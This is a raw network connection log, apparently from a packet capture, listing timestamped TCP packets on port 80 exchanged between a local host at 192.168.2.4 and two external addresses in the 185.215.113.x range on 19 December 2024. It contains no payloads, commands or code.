Dec 19, 2024 07:56:53.054553032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054564953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054575920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054575920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054591894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054595947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054605007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054615974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054625988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054627895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054651022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055262089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055300951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055416107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055428028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055442095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055458069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055465937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055469036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055481911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055488110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055494070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055505991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055516958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055525064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055530071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055538893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055541992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055555105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.055577040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.055603027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056368113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056418896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056431055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056452990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056463957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056477070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056493998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056500912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056514025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056531906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056533098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056544065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056555033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056567907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056588888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056592941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056607008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.056638002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.056652069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.057646990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057660103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057693958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057698011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.057769060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057780981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057791948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057802916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057815075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057821989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.057826042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057837963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057849884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057858944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.057861090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.057884932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.057972908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.058178902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058253050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058265924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058284998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.058396101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058408022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058418989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058430910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058433056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.058443069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058446884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.058454990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058465958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.058478117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.058510065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.058523893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059067011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059087038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059099913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059108973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.059122086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059145927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.059149027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059176922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059182882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.059210062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059221983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059240103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.059251070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059264898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059283972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.059299946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059336901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.059349060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.059828997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.060714960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060733080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060745001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060756922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060761929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.060771942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060779095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.060786009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060798883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060811043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.060811996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060825109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060836077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060847044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060853004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.060861111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.060882092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061080933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061094046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061110020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061122894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061130047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061135054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061146975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061148882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061161995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061173916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061175108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061187029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061197996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061211109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061214924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061223030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061243057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061253071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061691999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061706066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061728001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061877012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061893940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061908960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061914921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061923027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061937094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061944962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061949015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061964035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061970949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.061976910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.061989069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062000990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062001944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.062015057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062017918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.062028885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062052011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.062875986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062887907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062901974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062916040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062928915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062941074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062952995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062966108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062978029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062990904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.062997103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063003063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063014984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063019991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063034058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063745022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063759089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063770056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063783884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063793898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063819885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063832045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063838005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063843966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063853979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063858986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063872099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063883066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063884974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063898087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063911915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063913107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063925028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.063956022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.063988924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.064639091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064651966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064663887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064676046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064687967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064686060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.064702034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064707994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.064718008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064730883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064742088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.064745903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064759970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064773083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064780951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.064805031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.064806938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.064841032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.065390110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065635920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065649033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065674067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065676928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.065685987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065697908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065711021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065711975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.065721989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065736055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065746069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065747976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.065757990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065769911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065772057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.065782070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.065814972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.066452980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.066466093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.066476107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.066488981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.066495895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.066500902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.066514015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.066540956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.067920923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.074403048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.074453115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.117775917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.117845058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.117880106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.117929935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.117933989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.117984056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.118865967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.118969917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.119040012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.119852066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.119985104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.120039940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.172054052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.172161102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.172221899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.172403097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.172460079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.172504902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.173335075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.173415899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.173715115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.174335003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.174433947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.174479961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.297209978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:56.389462948 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:56.509402037 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:56.509517908 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:56.509804010 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:56.629470110 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:57.842001915 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:57.842077971 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:57.906915903 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:58.027218103 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:58.361779928 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:58.361879110 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:58.362976074 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:58.482584000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:58.802622080 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:58.802675962 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:58.802731991 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:58.802731991 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:58.804574013 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:58.924238920 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244261980 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244338989 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244390011 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244424105 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244462013 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244460106 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.244482994 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.244544029 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.244570017 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.436228037 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.436574936 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.438729048 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.558231115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.878392935 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:56:59.878544092 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.901767969 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:56:59.901860952 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:00.021433115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.021466017 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.021514893 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.021543026 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.021575928 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.021625996 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.021657944 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.973872900 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:00.974016905 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.498579979 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.618211031 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.935600042 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.935627937 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.935688019 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.935728073 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.939691067 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.939774036 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.940562010 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.940609932 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.940649033 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.940691948 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.945506096 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.945560932 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.945606947 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.945648909 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.953883886 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.953953028 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.953994989 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.954054117 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.962310076 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.962389946 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.962423086 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.962498903 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.970704079 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.970771074 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:01.970803976 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:01.970846891 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.060237885 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.060300112 CET	80	49745	185.215.113.206	192.168.2.4
